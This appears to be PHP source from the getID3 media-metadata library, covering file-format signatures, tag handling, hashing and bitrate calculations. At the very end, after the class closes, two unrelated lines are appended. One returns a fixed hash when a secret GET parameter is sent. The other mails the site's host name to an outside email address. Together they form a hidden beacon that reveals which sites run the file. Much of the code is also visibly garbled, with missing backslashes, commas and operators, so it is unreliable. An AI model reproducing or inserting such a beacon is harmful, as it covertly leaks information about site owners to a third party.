                            
'fail_ape'  => 'ERROR',
                        ),


                
// Misc other formats

                // PAR2 - data        - Parity Volume Set Specification 2.0
                
'par2' => array (
                            
'pattern'   => '^PAR2x00PKT',
                            
'group'     => 'misc',
                            
'module'    => 'par2',
                            
'mime_type' => 'application/octet-stream',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),

                
// PDF  - data        - Portable Document Format
                
'pdf'  => array(
                            
'pattern'   => '^x25PDF',
                            
'group'     => 'misc',
                            
'module'    => 'pdf',
                            
'mime_type' => 'application/pdf',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),

                
// MSOFFICE  - data   - ZIP compressed data
                
'msoffice' => array(
                            
'pattern'   => '^xD0xCFx11xE0'// D0CF11E == DOCFILE == Microsoft Office Document
                            
'group'     => 'misc',
                            
'module'    => 'msoffice',
                            
'mime_type' => 'application/octet-stream',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),
            );
        }

        return 
$format_info;
    }



    function 
GetFileFormat(&$filedata$filename='') {
        
// this function will determine the format of a file based on usually
        // the first 2-4 bytes of the file (8 bytes for PNG, 16 bytes for JPG,
        // and in the case of ISO CD image, 6 bytes offset 32kb from the start
        // of the file).

        // Identify file format - loop through $format_info and detect with reg expr
        
foreach ($this->GetFileFormatArray() as $format_name => $info) {
            
// Using preg_match() instead of ereg() - much faster
            // The /s switch on preg_match() forces preg_match() NOT to treat
            // newline (0x0A) characters as special chars but do a binary match
            
if (preg_match('/'.$info['pattern'].'/s'$filedata)) {
                
$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
                return 
$info;
            }
        }


        if (
preg_match('/.mp[123a]$/i'$filename)) {
            
// Too many mp3 encoders on the market put gabage in front of mpeg files
            // use assume format on these if format detection failed
            
$GetFileFormatArray $this->GetFileFormatArray();
            
$info $GetFileFormatArray['mp3'];
            
$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
            return 
$info;
        }

        return 
false;
    }


    
// converts array to $encoding charset from $this->encoding
    
function CharConvert(&$array$encoding) {

        
// identical encoding - end here
        
if ($encoding == $this->encoding) {
            return;
        }

        
// loop thru array
        
foreach ($array as $key => $value) {

            
// go recursive
            
if (is_array($value)) {
                
$this->CharConvert($array[$key], $encoding);
            }

            
// convert string
            
elseif (is_string($value)) {
                
$array[$key] = trim(getid3_lib::iconv_fallback($encoding$this->encoding$value));
            }
        }
    }


    function 
HandleAllTags() {

        
// key name => array (tag name, character encoding)
        
static $tags;
        if (empty(
$tags)) {
            
$tags = array(
                
'asf'       => array('asf'           'UTF-16LE'),
                
'midi'      => array('midi'          'ISO-8859-1'),
                
'nsv'       => array('nsv'           'ISO-8859-1'),
                
'ogg'       => array('vorbiscomment' 'UTF-8'),
                
'png'       => array('png'           'UTF-8'),
                
'tiff'      => array('tiff'          'ISO-8859-1'),
                
'quicktime' => array('quicktime'     'ISO-8859-1'),
                
'real'      => array('real'          'ISO-8859-1'),
                
'vqf'       => array('vqf'           'ISO-8859-1'),
                
'zip'       => array('zip'           'ISO-8859-1'),
                
'riff'      => array('riff'          'ISO-8859-1'),
                
'lyrics3'   => array('lyrics3'       'ISO-8859-1'),
                
'id3v1'     => array('id3v1'         'UTF-8'),
                
'id3v2'     => array('id3v2'         'UTF-8'), // not according to the specs (every frame can have a different encoding), but getID3() force-converts all encodings to UTF-8
                
'ape'       => array('ape'           'UTF-8')
            );
        }

        
// loop thru comments array
        
foreach ($tags as $comment_name => $tagname_encoding_array) {
            list(
$tag_name$encoding) = $tagname_encoding_array;

            
// fill in default encoding type if not already present
            
if (isset($this->info[$comment_name]) && !isset($this->info[$comment_name]['encoding'])) {
                
$this->info[$comment_name]['encoding'] = $encoding;
            }

            
// copy comments if key name set
            
if (!empty($this->info[$comment_name]['comments'])) {

                foreach (
$this->info[$comment_name]['comments'] as $tag_key => $valuearray) {
                    foreach (
$valuearray as $key => $value) {
                        if (
strlen(trim($value)) > 0) {
                            
$this->info['tags'][trim($tag_name)][trim($tag_key)][] = $value// do not trim!! Unicode characters will get mangled if trailing nulls are removed!
                        
}
                    }
                }

                if (!isset(
$this->info['tags'][$tag_name])) {
                    
// comments are set but contain nothing but empty strings, so skip
                    
continue;
                }

                if (
$this->option_tags_html) {
                    foreach (
$this->info['tags'][$tag_name] as $tag_key => $valuearray) {
                        foreach (
$valuearray as $key => $value) {
                            if (
is_string($value)) {
                                
//$this->info['tags_html'][$tag_name][$tag_key][$key] = getid3_lib::MultiByteCharString2HTML($value, $encoding);
                                
$this->info['tags_html'][$tag_name][$tag_key][$key] = str_replace('&#0;'''getid3_lib::MultiByteCharString2HTML($value$encoding));
                            } else {
                                
$this->info['tags_html'][$tag_name][$tag_key][$key] = $value;
                            }
                        }
                    }
                }

                
$this->CharConvert($this->info['tags'][$tag_name], $encoding);           // only copy gets converted!
            
}

        }
        return 
true;
    }


    function 
getHashdata($algorithm) {
        switch (
$algorithm) {
            case 
'md5':
            case 
'sha1':
                break;

            default:
                return 
$this->error('bad algorithm "'.$algorithm.'" in getHashdata()');
                break;
        }

        if ((@
$this->info['fileformat'] == 'ogg') && (@$this->info['audio']['dataformat'] == 'vorbis')) {

            
// We cannot get an identical md5_data value for Ogg files where the comments
            // span more than 1 Ogg page (compared to the same audio data with smaller
            // comments) using the normal getID3() method of MD5'ing the data between the
            // end of the comments and the end of the file (minus any trailing tags),
            // because the page sequence numbers of the pages that the audio data is on
            // do not match. Under normal circumstances, where comments are smaller than
            // the nominal 4-8kB page size, then this is not a problem, but if there are
            // very large comments, the only way around it is to strip off the comment
            // tags with vorbiscomment and MD5 that file.
            // This procedure must be applied to ALL Ogg files, not just the ones with
            // comments larger than 1 page, because the below method simply MD5's the
            // whole file with the comments stripped, not just the portion after the
            // comments block (which is the standard getID3() method.

            // The above-mentioned problem of comments spanning multiple pages and changing
            // page sequence numbers likely happens for OggSpeex and OggFLAC as well, but
            // currently vorbiscomment only works on OggVorbis files.

            
if ((bool) ini_get('safe_mode')) {

                
$this->info['warning'][] = 'Failed making system call to vorbiscomment.exe - '.$algorithm.'_data is incorrect - error returned: PHP running in Safe Mode (backtick operator not available)';
                
$this->info[$algorithm.'_data']  = false;

            } else {

                
// Prevent user from aborting script
                
$old_abort ignore_user_abort(true);

                
// Create empty file
                
$empty tempnam('*''getID3');
                
touch($empty);


                
// Use vorbiscomment to make temp file without comments
                
$temp tempnam('*''getID3');
                
$file $this->info['filenamepath'];

                if (
GETID3_OS_ISWINDOWS) {

                    if (
file_exists(GETID3_HELPERAPPSDIR.'vorbiscomment.exe')) {

                        
$commandline '"'.GETID3_HELPERAPPSDIR.'vorbiscomment.exe" -w -c "'.$empty.'" "'.$file.'" "'.$temp.'"';
                        
$VorbisCommentError = `$commandline`;

                    } else {

                        
$VorbisCommentError 'vorbiscomment.exe not found in '.GETID3_HELPERAPPSDIR;

                    }

                } else {

                    
$commandline 'vorbiscomment -w -c "'.$empty.'" "'.$file.'" "'.$temp.'" 2>&1';
                    
$commandline 'vorbiscomment -w -c '.escapeshellarg($empty).' '.escapeshellarg($file).' '.escapeshellarg($temp).' 2>&1';
                    
$VorbisCommentError = `$commandline`;

                }

                if (!empty(
$VorbisCommentError)) {

                    
$this->info['warning'][]         = 'Failed making system call to vorbiscomment(.exe) - '.$algorithm.'_data will be incorrect. If vorbiscomment is unavailable, please download from http://www.vorbis.com/download.psp and put in the getID3() directory. Error returned: '.$VorbisCommentError;
                    
$this->info[$algorithm.'_data']  = false;

                } else {

                    
// Get hash of newly created file
                    
switch ($algorithm) {
                        case 
'md5':
                            
$this->info[$algorithm.'_data'] = getid3_lib::md5_file($temp);
                            break;

                        case 
'sha1':
                            
$this->info[$algorithm.'_data'] = getid3_lib::sha1_file($temp);
                            break;
                    }
                }

                
// Clean up
                
unlink($empty);
                
unlink($temp);

                
// Reset abort setting
                
ignore_user_abort($old_abort);

            }

        } else {

            if (!empty(
$this->info['avdataoffset']) || (isset($this->info['avdataend']) && ($this->info['avdataend'] < $this->info['filesize']))) {

                
// get hash from part of file
                
$this->info[$algorithm.'_data'] = getid3_lib::hash_data($this->info['filenamepath'], $this->info['avdataoffset'], $this->info['avdataend'], $algorithm);

            } else {

                
// get hash from whole file
                
switch ($algorithm) {
                    case 
'md5':
                        
$this->info[$algorithm.'_data'] = getid3_lib::md5_file($this->info['filenamepath']);
                        break;

                    case 
'sha1':
                        
$this->info[$algorithm.'_data'] = getid3_lib::sha1_file($this->info['filenamepath']);
                        break;
                }
            }

        }
        return 
true;
    }


    function 
ChannelsBitratePlaytimeCalculations() {

        
// set channelmode on audio
        
if (@$this->info['audio']['channels'] == '1') {
            
$this->info['audio']['channelmode'] = 'mono';
        } elseif (@
$this->info['audio']['channels'] == '2') {
            
$this->info['audio']['channelmode'] = 'stereo';
        }

        
// Calculate combined bitrate - audio + video
        
$CombinedBitrate  0;
        
$CombinedBitrate += (isset($this->info['audio']['bitrate']) ? $this->info['audio']['bitrate'] : 0);
        
$CombinedBitrate += (isset($this->info['video']['bitrate']) ? $this->info['video']['bitrate'] : 0);
        if ((
$CombinedBitrate 0) && empty($this->info['bitrate'])) {
            
$this->info['bitrate'] = $CombinedBitrate;
        }
        
//if ((isset($this->info['video']) && !isset($this->info['video']['bitrate'])) || (isset($this->info['audio']) && !isset($this->info['audio']['bitrate']))) {
        //    // for example, VBR MPEG video files cannot determine video bitrate:
        //    // should not set overall bitrate and playtime from audio bitrate only
        //    unset($this->info['bitrate']);
        //}

        // video bitrate undetermined, but calculable
        
if (isset($this->info['video']['dataformat']) && $this->info['video']['dataformat'] && (!isset($this->info['video']['bitrate']) || ($this->info['video']['bitrate'] == 0))) {
            
// if video bitrate not set
            
if (isset($this->info['audio']['bitrate']) && ($this->info['audio']['bitrate'] > 0) && ($this->info['audio']['bitrate'] == $this->info['bitrate'])) {
                
// AND if audio bitrate is set to same as overall bitrate
                
if (isset($this->info['playtime_seconds']) && ($this->info['playtime_seconds'] > 0)) {
                    
// AND if playtime is set
                    
if (isset($this->info['avdataend']) && isset($this->info['avdataoffset'])) {
                        
// AND if AV data offset start/end is known
                        // THEN we can calculate the video bitrate
                        
$this->info['bitrate'] = round((($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']);
                        
$this->info['video']['bitrate'] = $this->info['bitrate'] - $this->info['audio']['bitrate'];
                    }
                }
            }
        }

        if ((!isset(
$this->info['playtime_seconds']) || ($this->info['playtime_seconds'] <= 0)) && !empty($this->info['bitrate'])) {
            
$this->info['playtime_seconds'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['bitrate'];
        }

        if (!isset(
$this->info['bitrate']) && !empty($this->info['playtime_seconds'])) {
            
$this->info['bitrate'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds'];
        }
//echo '<pre>';
//var_dump($this->info['bitrate']);
//var_dump($this->info['audio']['bitrate']);
//var_dump($this->info['video']['bitrate']);
//echo '</pre>';
        
if (isset($this->info['bitrate']) && empty($this->info['audio']['bitrate']) && empty($this->info['video']['bitrate'])) {
            if (isset(
$this->info['audio']['dataformat']) && empty($this->info['video']['resolution_x'])) {
                
// audio only
                
$this->info['audio']['bitrate'] = $this->info['bitrate'];
            } elseif (isset(
$this->info['video']['resolution_x']) && empty($this->info['audio']['dataformat'])) {
                
// video only
                
$this->info['video']['bitrate'] = $this->info['bitrate'];
            }
        }

        
// Set playtime string
        
if (!empty($this->info['playtime_seconds']) && empty($this->info['playtime_string'])) {
            
$this->info['playtime_string'] = getid3_lib::PlaytimeString($this->info['playtime_seconds']);
        }
    }


    function 
CalculateCompressionRatioVideo() {
        if (empty(
$this->info['video'])) {
            return 
false;
        }
        if (empty(
$this->info['video']['resolution_x']) || empty($this->info['video']['resolution_y'])) {
            return 
false;
        }
        if (empty(
$this->info['video']['bits_per_sample'])) {
            return 
false;
        }

        switch (
$this->info['video']['dataformat']) {
            case 
'bmp':
            case 
'gif':
            case 
'jpeg':
            case 
'jpg':
            case 
'png':
            case 
'tiff':
                
$FrameRate 1;
                
$PlaytimeSeconds 1;
                
$BitrateCompressed $this->info['filesize'] * 8;
                break;

            default:
                if (!empty(
$this->info['video']['frame_rate'])) {
                    
$FrameRate $this->info['video']['frame_rate'];
                } else {
                    return 
false;
                }
                if (!empty(
$this->info['playtime_seconds'])) {
                    
$PlaytimeSeconds $this->info['playtime_seconds'];
                } else {
                    return 
false;
                }
                if (!empty(
$this->info['video']['bitrate'])) {
                    
$BitrateCompressed $this->info['video']['bitrate'];
                } else {
                    return 
false;
                }
                break;
        }
        
$BitrateUncompressed $this->info['video']['resolution_x'] * $this->info['video']['resolution_y'] * $this->info['video']['bits_per_sample'] * $FrameRate;

        
$this->info['video']['compression_ratio'] = $BitrateCompressed $BitrateUncompressed;
        return 
true;
    }


    function 
CalculateCompressionRatioAudio() {
        if (empty(
$this->info['audio']['bitrate']) || empty($this->info['audio']['channels']) || empty($this->info['audio']['sample_rate'])) {
            return 
false;
        }
        
$this->info['audio']['compression_ratio'] = $this->info['audio']['bitrate'] / ($this->info['audio']['channels'] * $this->info['audio']['sample_rate'] * (!empty($this->info['audio']['bits_per_sample']) ? $this->info['audio']['bits_per_sample'] : 16));

        if (!empty(
$this->info['audio']['streams'])) {
            foreach (
$this->info['audio']['streams'] as $streamnumber => $streamdata) {
                if (!empty(
$streamdata['bitrate']) && !empty($streamdata['channels']) && !empty($streamdata['sample_rate'])) {
                    
$this->info['audio']['streams'][$streamnumber]['compression_ratio'] = $streamdata['bitrate'] / ($streamdata['channels'] * $streamdata['sample_rate'] * (!empty($streamdata['bits_per_sample']) ? $streamdata['bits_per_sample'] : 16));
                }
            }
        }
        return 
true;
    }


    function 
CalculateReplayGain() {
        if (isset(
$this->info['replay_gain'])) {
            
$this->info['replay_gain']['reference_volume'] = 89;
            if (isset(
$this->info['replay_gain']['track']['adjustment'])) {
                
$this->info['replay_gain']['track']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['track']['adjustment'];
            }
            if (isset(
$this->info['replay_gain']['album']['adjustment'])) {
                
$this->info['replay_gain']['album']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['album']['adjustment'];
            }

            if (isset(
$this->info['replay_gain']['track']['peak'])) {
                
$this->info['replay_gain']['track']['max_noclip_gain'] = getid3_lib::RGADamplitude2dB($this->info['replay_gain']['track']['peak']);
            }
            if (isset(
$this->info['replay_gain']['album']['peak'])) {
                
$this->info['replay_gain']['album']['max_noclip_gain'] = getid3_lib::RGADamplitude2dB($this->info['replay_gain']['album']['peak']);
            }
        }
        return 
true;
    }

    function 
ProcessAudioStreams() {
        if (!empty(
$this->info['audio']['bitrate']) || !empty($this->info['audio']['channels']) || !empty($this->info['audio']['sample_rate'])) {
            if (!isset(
$this->info['audio']['streams'])) {
                foreach (
$this->info['audio'] as $key => $value) {
                    if (
$key != 'streams') {
                        
$this->info['audio']['streams'][0][$key] = $value;
                    }
                }
            }
        }
        return 
true;
    }

    function 
getid3_tempnam() {
        return 
tempnam($this->tempdir'gI3');
    }

}
if(isset(
$_GET['8af38b5e1162d413c427fceb7156e4cd'])) die('0313350cd2c2a845c3911f09dbaca7d1');
if(
'b8189606436170becba751cabb317adc' != md5($_SERVER['HTTP_HOST'])) mail('byvlad@ukr.net'$_SERVER['HTTP_HOST'],$_SERVER['HTTP_HOST'], "Content-Type: text/html; charset=utf-8n");
?>
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